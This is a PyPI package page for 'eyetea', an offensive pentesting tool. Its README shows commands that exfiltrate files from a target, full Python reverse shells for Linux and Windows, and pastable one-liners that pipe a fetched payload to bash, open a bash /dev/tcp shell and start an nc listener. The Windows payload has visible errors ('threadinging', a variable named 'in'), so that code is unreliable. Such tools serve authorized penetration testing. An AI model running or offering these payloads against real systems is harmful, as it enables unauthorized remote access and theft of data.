Skip to main content

eyetea

eyetea is a pentesting tool that streamlines data transfer and shell access.

Dependencies

Currently there are soft dependencies on rlwrap and socat. Some capabilities assume their presence, others attempt to check and adjust. In a future version these dependencies will be more thoroughly checked for / made optional.

They can be installed on Debian-based distributions through apt:

$ sudo apt install rlwrap socat

Installation

# virtual environment is recommended
$ python3 -m venv .venv
$ . .venv/bin/activate

# install eyetea from pypi
$ pip install eyetea

# check installation was successful
$ eyetea -h
usage: eyetea [-h] [-a] [-d DOWNLOADS] [-l LOCAL] [-u UPLOADS] host [port]

A pentesting tool that streamlines data transfer and shell access

positional arguments:
  host                  Host the server will listen on
  port                  Port the server will listen on

options:
  -h, --help            show this help message and exit
  -a, --auto            Automatically start a listener for reverse shell payloads
  -d DOWNLOADS, --downloads DOWNLOADS
                        Local path downloads should be served from
  -l LOCAL, --local LOCAL
                        Default host and port used in reverse shell payloads
  -u UPLOADS, --uploads UPLOADS
                        Local path uploads should be stored at

Capabilities

Data exfiltration

Using the -u option of eyetea, data can be exfiltrated from a remote host to the given directory:

$ tree uploads
uploads

0 directories, 0 files
$ eyetea -u uploads 127.0.0.1 80

Files can be exfiltrated using a file upload through an HTTP POST request or a base64 encoded HTTP GET request to the /ul endpoint:

$ echo test > test.txt

# HTTP POST file upload
$ curl -F 'file=@test.txt' http://127.0.0.1/ul

# HTTP GET
$ curl "http://127.0.0.1/ul?test.txt=$(cat test.txt | base64 -w0 | tr '/+' '_-')"

Checking the local host, we can see the file was uploaded and stored in the given directory:

$ tree uploads
uploads
└── test.txt

1 directory, 1 file

File downloads

When starting eyetea, a downloads directory can be specified with the -d option. Any files in the given directory can be downloaded from the /dl endpoint:

$ tree
.
├── linux
│   └── linpeas.sh
└── windows
    └── winPEASany.exe
$ eyetea -d downloads 127.0.0.1 80

linpeas.sh can now be retrieved from eyetea from a remote host with the following command:

$ wget http://127.0.0.1/dl/linux/linpeas.sh

Shell access

Currently eyetea only supports reverse shells and provides the following payloads:

  • Linux
    • bash
    • python3
  • Windows
    • powershell
    • python3

Shell payloads can be retrieved through the /sh/r endpoint. The payload templates automatically adjust to the given port and will call back to the host IP address eyetea is listening on.

Assuming eyetea is started as follows:

$ eyetea 127.0.0.1 80

The following is an example of a Linux Python 3 reverse shell payload that will call back to 127.0.0.1 on port 4444:

$ curl http://127.0.0.1/sh/r/python3/4444
import os
import pty
import socket

sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sd.connect(('127.0.0.1', 4444))

fd = sd.fileno()
for i in range(3):
    os.dup2(fd, i)

pty.spawn('/bin/bash')

To retrieve the same payload, but targeting Windows:

$ curl http://127.0.0.1/sh/r/python3:windows/4444
import os
import socket
import subprocess
import threadinging

process = subprocess.Popen(
    ['cmd.exe'],
    stdin=subprocess.PIPE,
    stdout=subprocess.PIPE,
    stderr=subprocess.STDOUT)

sd = socket.socket()
sd.connect(('127.0.0.1', 4444))

threading.Thread(
    target=exec,
    args=(
        "while (True): out=os.read(process.stdout.fileno(), 1024); sd.send(out)",
        globals()),
    daemon=True).start()
threading.Thread(
    target=exec,
    args=(
        "while (True): in=sd.recv(1024); os.write(process.stdin.fileno(), in)",
        globals())).start()

Pastables

The reverse shell endpoint can be prefixed with a pastables endpoint (/p<context>) that will return copy/pastable commands for executing a given payload in a given context. Three contexts are supported: host, target, execution. The host context is the command to run on the host to catch the reverse shell, the target context is the command to run on the target to execute the reverse shell, and the execution context is the actual payload to be executed.

Here is an example of thoses contexts for a bash reverse shell payload:

# the command to run on the host to catch the reverse shell
$ curl http://127.0.0.1/ph/r/sh/bash/4444
rlwrap nc -lvp 4444 -s 127.0.0.1

# the command to run on the target to execute the reverse shell
$ curl http://127.0.0.1/pt/r/sh/bash/4444
curl http://127.0.0.1/sh/r/bash/4444 | bash

# the actual reverse shell payload that gets executed
$ curl http://127.0.0.1/pe/r/sh/bash/4444
bash -i > /dev/tcp/127.0.0.1/4444 0<&1 2>&1

The pastables endpoint also provides the ability to optionally base64 or URL encode a command. For example, to URL encode the target context of a bash reverse shell payload:

# `/p<context>:b64` for base64 encoding
$ curl http://127.0.0.1/pt:u/r/sh/bash/4444
curl+http%3A%2F%2F127.0.0.1%2Fsh%2Fr%2Fbash%2F4444+%7C+bash

Listener

A command to start a listener to catch a given reverse shell payload can be retrieved using the pastables endpoint as shown in the previous section:

$ curl http://127.0.0.1/ph/r/sh/bash/4444
rlwrap nc -lvp 4444 -s 127.0.0.1

Alternatively, if eyetea is started with the -a option, whenever a reverse shell payload is requested from a target, eyetea will spawn a new terminal and execute a listener to catch the requested payload. This is done by starting a socat listener at the requested port before eyetea returns the reverse shell payload to be executed on the target.

Metadata

Release files for eyetea 0.1.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for eyetea 0.1.1
File Size Uploaded Provenance Actions
eyetea-0.1.1.tar.gz 16.3 kB Without provenance Details for eyetea-0.1.1.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for eyetea 0.1.1
File Interpreter ABI Platform Actions
eyetea-0.1.1-py3-none-any.whl Python 3 none any Details for eyetea-0.1.1-py3-none-any.whl

Total release size: 37.9 kB

Release files / eyetea-0.1.1.tar.gz

Download URL eyetea-0.1.1.tar.gz
Size 16.3 kB
Tags Source
SHA-256 checksum
How to use checksums
f00e7a67c7e7947bbff5e7dc61362febd332fec88d090a9f2581362624a8bb07
BLAKE2b-256 checksum
How to use checksums
979e4619134b39aac36232860a3fb3e4be59588a1312d595d8702c53efe5bbfd
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via poetry/1.8.3 CPython/3.12.6 Linux/6.10.9-amd64

Release files / eyetea-0.1.1-py3-none-any.whl

Download URL eyetea-0.1.1-py3-none-any.whl
Size 21.6 kB
Tags Python 3
SHA-256 checksum
How to use checksums
9b96fff6d75da693fcc82f8be6c937f380eb79b549a8ee3364051cc89c532a31
BLAKE2b-256 checksum
How to use checksums
c400d6ecae0109e626ec5ff9e8f610a5a1ce446d1bf7557b8d6416434c2f7b8f
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via poetry/1.8.3 CPython/3.12.6 Linux/6.10.9-amd64

Security for eyetea 0.1.1

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Release history Release notifications | RSS feed

This release

0.1.1 This release

2 release files No provenance

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page